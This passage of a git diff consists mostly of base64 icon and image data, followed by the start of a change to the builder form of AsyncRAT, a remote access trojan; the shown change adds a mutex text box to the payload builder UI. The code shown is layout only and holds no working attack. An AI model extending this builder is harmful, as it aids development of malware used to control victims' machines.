+ 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
+ gg==
+
+
AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
index 91396a7..a3b15d9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs
@@ -43,6 +43,8 @@
this.label4 = new System.Windows.Forms.Label();
this.groupBox3 = new System.Windows.Forms.GroupBox();
this.chkAnti = new System.Windows.Forms.CheckBox();
+ this.txtMutex = new System.Windows.Forms.TextBox();
+ this.label5 = new System.Windows.Forms.Label();
this.groupBox1.SuspendLayout();
this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout();
@@ -50,7 +52,7 @@
//
// button1
//
- this.button1.Location = new System.Drawing.Point(12, 611);
+ this.button1.Location = new System.Drawing.Point(10, 705);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(446, 50);
this.button1.TabIndex = 0;
@@ -169,10 +171,12 @@
//
// groupBox3
//
+ this.groupBox3.Controls.Add(this.txtMutex);
